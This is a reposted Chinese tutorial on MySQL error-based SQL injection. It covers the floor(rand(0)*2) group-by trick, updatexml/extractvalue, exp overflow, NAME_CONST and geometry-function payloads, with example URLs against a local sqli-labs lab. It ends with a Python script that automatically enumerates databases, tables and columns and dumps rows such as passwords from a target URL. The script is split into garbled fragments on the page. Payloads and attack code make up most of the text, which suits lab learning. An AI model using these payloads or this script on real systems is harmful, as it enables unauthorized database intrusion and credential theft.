概述
原文链接：http://www.52bug.cn/hkjs/4649.html
这里我会对原文进行部分修改：
0x00 概述 渗透的时候总会首先测试注入，sql注入可以说是web漏洞界的Boss了，稳居owasp第一位，普通的直接回显数据的注入现在几乎绝迹了，绝大多数都是盲注了，此文是盲注系列的第一篇，介绍盲注中的报错注入。
0×01 报错注入原理
其实报错注入有很多种，本文主要介绍几种常见的报错方法，有新姿势后续再更新。
1. Duplicate entry报错：
一句话概括就是多次查询插入重复键值导致count报错从而在报错信息中带入了敏感信息。
关键是查询时会建立临时表存储数据，不存在键值就插入，group by使插入前rand()会再执行一次，存在就直接值加1，下面以rand(0)简述原理：
首先看看接下来会用到的几个函数
Count()计算总数
Concat()连接字符串
Floor()向下取整数
Rand()产生0～1的随机数
rand(0)序列是011011
1. 查询第一条记录，rand(0)得键值0不存在临时表，执行插入，此时rand(0)再执行，得1，于是插入了1。
2. 查询第二条记录，rand(0)得1，键值1存在临时表，则值加1得2。
3. 查询第三条记录，rand(0)得0，键值0不存在临时表，执行插入，rand(0)再次执行，得键值1，1存在于临时表，由于键值必须唯一，导致报错。
由上述可得，表中必须存在大于等于3条记录才会产生报错，实测也如此。
一些报错查询语句(相当于套公式)：
假设字段数是3
经典语句：
union select 1,count(*),concat(version(),floor(rand(0)*2))x from information_schema.columns group by x;--+
version()可以替换为需要查询的信息。
简化语句：
union select 1,2,count(*) from information_schema.columns group by concat(version(),floor(rand(0)*2));--+
如果上面的一条语句没效果就这样（让count(*)from挨在一起，不要我为什么，我也不知道，一开始上面的语句没成功，挨在一起就成功了，然后在分开也能成功了，无语）：
union select 1,2,count(*)from information_schema.columns group by concat(version(),floor(rand(0)*2));--+
如果关键的表被禁用了，可以使用这种形式--（具体的例子具体讲，直接在less-5套是不对滴）
select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2))
如果rand被禁用了可以使用用户变量来报错--（具体的例子具体讲，直接在less-5套是不对滴）
select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)
Sqli-labs less5测试:
1. 获取库名：
http://192.168.33.1/sqli/less-5/?id=1' Union select 1,count(*),concat(database(),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+
2.获取表名：
http://192.168.33.1/sqli/less-5/?id=1' Union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 3,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+
3. 获取列名：
http://192.168.33.1/sqli/less-5/?id=1' Union select 1,count(*),concat((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+
4. 爆数据：
http://192.168.33.1/sqli/less-5/?id=1' Union select 1,count(*),concat((select password from users limit 0,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+
2. Xpath报错：
主要的两个函数：
Mysql5.1.5
1. updatexml():对xml进行查询和修改
2. extractvalue():对xml进行查询和修改
都是最大爆32位。
and updatexml(1,concat(0x26,(version()),0x26),1);
and (extractvalue(1,concat(0x26,(version()),0x26)));
Sqli-lab less5测试:
Updatexml():
http://192.168.33.1/sqli/less-5/?id=1' and updatexml(1,concat(0x26,database(),0x26),1);--+
Extractvalue():
http://192.168.33.1/sqli/less-5/?id=1' and extractvalue(1,concat(0x26,database(),0x26));--+
3. 整形溢出报错：
Mysql>5.5.5
主要函数：
exp(x):计算e的x次方
Payload: and (EXP(~(select * from(select version())a)));
Exp()超过710会产生溢出。
将0按位取反就会返回“18446744073709551615”，而函数执行成功会返回0，所以将成功执行的函数取反就会得到最大的无符号BIGINT值，从而造成报错。
4. 数据重复报错：
Mysql低版本
payload：select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x
5. 其余报错：
GeometryCollection()
AND GeometryCollection((select * from (select * from(select user())a)b))
polygon()
AND polygon((select * from(select * from(select user())a)b))
multipoint()
AND multipoint((select * from(select * from(select user())a)b))
multilinestring()
id = 1 AND multilinestring((select * from(select * from(select user())a)b))
linestring()
AND LINESTRING((select * from(select * from(select user())a)b))
multipolygon()
AND multipolygon((select * from(select * from(select user())a)b))
0x02 报错注入脚本
依据sqli-lab less-5写的自动化注入脚本，实战再根据具体情况修改即可，盲注还是写脚本方便点。
(建议在linux下使用，win下的cmd无法使用termcolor，win下可注释并修改print即可，有颜色还是挺酷的！)
-
#coding:utf-8
-
#Author:LSA
-
#Description:blind sqli error base script
-
#Date:20171222
-
-
-
-
import sys
-
import requests
-
import re
-
import binascii
-
from termcolor
import *
-
import optparse
-
-
fdata = []
-
-
def judge_columns_num(url):
-
-
for i
in range(
1,
100):
-
columns_num_url = url +
''' +
'order by ' + str(i) +
'--+'
-
rsp = requests.get(columns_num_url)
-
rsp_content_length = rsp.headers[
'content-length']
-
if i==
1:
-
rsp_true_content_length = rsp_content_length
-
continue
-
if rsp_content_length == rsp_true_content_length:
-
continue
-
else:
-
print (colored(
'column nums is ' + str(i
-1),
"green",attrs=[
"bold"]))
-
columns_num = i
-
break
-
-
-
def getDatabases(url):
-
-
dbs_url = url +
"' union select 1,count(*),concat((select count(distinct+table_schema) from information_schema.tables),0x26,floor(rand(0)*2))x from information_schema.tables group by x;--+"
-
dbs_html = requests.get(dbs_url).content
-
dbs_num = int(re.search(
r''(d*?)&',dbs_html).group(
1))
-
print
"databases num:" + colored(dbs_num,
"green",attrs=[
"bold"])
-
dbs = []
-
print (
"dbs name: ")
-
for dbIndex
in xrange(
0,dbs_num):
-
db_name_url = url +
"' union select 1,count(*),concat((select distinct table_schema from information_schema.tables limit %d,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+" % dbIndex
-
db_html = requests.get(db_name_url).content
-
db_name = re.search(
r''(.*?)&', db_html).group(
1)
-
dbs.append(db_name)
-
print (colored(
"t%s" % db_name,
"green",attrs=[
"bold"]))
-
-
-
-
def getTables(url, db_name):
-
#db_name_hex = "0x" + binascii.b2a_hex(db_name)
-
tables_num_url = url +
"' union select 1,count(*),concat((select count(table_name) from information_schema.tables where table_schema='%s'),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+" % db_name
-
tables_html = requests.get(tables_num_url).content
-
tables_num = int(re.search(
r''(d*?)&',tables_html).group(
1))
-
print (
"databases %s，tables num: %d" % (db_name, tables_num))
-
print (
"tables name: ")
-
for tableIndex
in xrange(
0,tables_num):
-
table_name_url = url +
"'union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='%s' limit %d,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+" % (db_name, tableIndex)
-
table_html = requests.get(table_name_url).content
-
table_name = re.search(
r''(.*?)&',table_html).group(
1)
-
print (colored(
"t%s" % table_name,
"green",attrs=[
"bold"]))
-
-
-
-
def getColumns(url,db_name,table_name):
-
-
#db_name_hex = "0x" + binascii.b2a_hex(db_name)
-
#table_name_hex = "0x" + binascii.b2a_hex(table_name)
-
dataColumns_num_url = url +
"' union select 1,count(*),concat((select count(column_name) from information_schema.columns where table_schema='%s' and table_name='%s' ),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+" % (db_name,table_name)
-
dataColumns_html = requests.get(dataColumns_num_url).content
-
dataColumns_num = int(re.search(
r''(d*?)&',dataColumns_html).group(
1))
-
print (
"table: %s，dataColumns num: %d" % (table_name, dataColumns_num))
-
print (
"DataColumns name：")
-
for dataColumnIndex
in xrange(
0,dataColumns_num):
-
dataColumn_name_url = url +
"' union select 1,count(*),concat((select column_name from information_schema.columns where table_schema='%s' and table_name='%s' limit %d,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+" % (db_name,table_name,dataColumnIndex)
-
dataColumn_html = requests.get(dataColumn_name_url).content
-
dataColumn_name = re.search(
r''(.*?)&',dataColumn_html).group(
1)
-
print (colored(
"tt%s" % dataColumn_name,
"green",attrs=[
"bold"]))
-
-
-
-
-
def dumpData(url,db_name,table_name,inputColumns_name):
-
-
#db_name_hex = "0x" + binascii.b2a_hex(db_name)
-
#table_name_hex = "0x" + binascii.b2a_hex(table_name)
-
-
dataColumns_num_url = url +
"' union select 1,count(*),concat((select count(*) from %s.%s),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+" % (db_name,table_name)
-
data_html = requests.get(dataColumns_num_url).content
-
datas = int(re.search(
r''(d*?)&',data_html).group(
1))
-
-
-
inputColumns = inputColumns_name.split(
',')
-
-
print (colored(
"Total datas: " + str(datas),
"green",attrs=[
"bold"]))
-
print str(inputColumns_name) +
":"
-
-
for inputColumnIndex
in xrange(
0,len(inputColumns)):
-
-
-
for dataIndex
in xrange(
0,datas):
-
-
dataColumn_name_url = url +
"' union select 1,count(*),concat((select %s from %s.%s limit %d,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+" % (inputColumns[inputColumnIndex],db_name,table_name,dataIndex)
-
data_html = requests.get(dataColumn_name_url).content
-
data = re.search(
r''(.*?)&',data_html).group(
1)
-
fdata.append(data)
-
print (colored(
"t%s" % data,
"green",attrs=[
"bold"]))
-
for inputc
in range(
0,len(inputColumns)):
-
print str(inputColumns[inputc]) +
"t",
-
print
""
-
print
"+++++++++++++++++++++++++++++++++++++++++++++++++"
-
n = len(fdata) / len(inputColumns)
-
for t
in range(
0,n):
-
for d
in range(t,len(fdata),n):
-
print colored(fdata[d],
"green",attrs=[
"bold"]) +
"t",
-
print
""
-
print
"+++++++++++++++++++++++++++++++++++++++++++++++++"
-
-
-
-
-
-
-
-
-
def main():
-
-
parser = optparse.OptionParser(
'python %prog '+
-
'-h <manual>')
-
parser.add_option(
'-u', dest=
'tgtUrl', type=
'string',
-
help=
'input target url')
-
parser.add_option(
'--dbs', dest=
'dbs', action=
'store_true', help=
'get dbs')
-
parser.add_option(
'--tables', dest=
'tables', action=
'store_true',
-
help=
'get tables')
-
parser.add_option(
'--columns', dest=
'columns', action=
'store_true',
-
help=
'get columns')
-
-
parser.add_option(
'-D', dest=
'db', type=
'string', help=
'choose a db')
-
parser.add_option(
'-T', dest=
'table', type=
'string',
-
help=
'choose a table')
-
parser.add_option(
'-C', dest=
'column', type=
'string',
-
help=
'choose column(s)')
-
parser.add_option(
'--dump', dest=
'data', action=
'store_true',
-
help=
'get datas')
-
-
(options, args) = parser.parse_args()
-
-
url = options.tgtUrl
-
dbs = options.dbs
-
tables = options.tables
-
columns = options.columns
-
db = options.db
-
table = options.table
-
column = options.column
-
datas = options.data
-
-
-
if url
and (dbs
is
None
and db
is
None
and tables
is
None
and table
is
None
and columns
is
None
and column
is
None
and datas
is
None):
-
judge_columns_num(url)
-
-
-
if url
and dbs:
-
getDatabases(url)
-
if url
and db
and tables:
-
getTables(url,db)
-
if url
and db
and table
and columns:
-
getColumns(url,db,table)
-
if url
and db
and table
and column
and datas:
-
dumpData(url,db,table,column)
-
-
-
-
-
if __name__ ==
'__main__':
-
main()
效果图：
0x03 结语
Exp报错和其余报错没测试成功，不知为何，先这样吧。（o(∩∩)o...哈哈不知道有多少人能看到这里，回贴送币！）。
0x04 参考资料
blog.csdn.net/qq_35544379/article/details/77453019
https://bugs.mysql.com/bug.php?id=8652
whc.dropsec.xyz/2017/04/16/SQL报错注入总结/
blog.51cto.com/wt7315/1891458
https://www.msfcode.com/2016/10/11/【sql注入】mysql十种报错注入方式/
www.am0s.com/penetration/138.html
www.jianfensec.com/19.html
www.freebuf.com/articles/web/30841.html
https://www.cnblogs.com/lcamry/articles/5509124.html
最后
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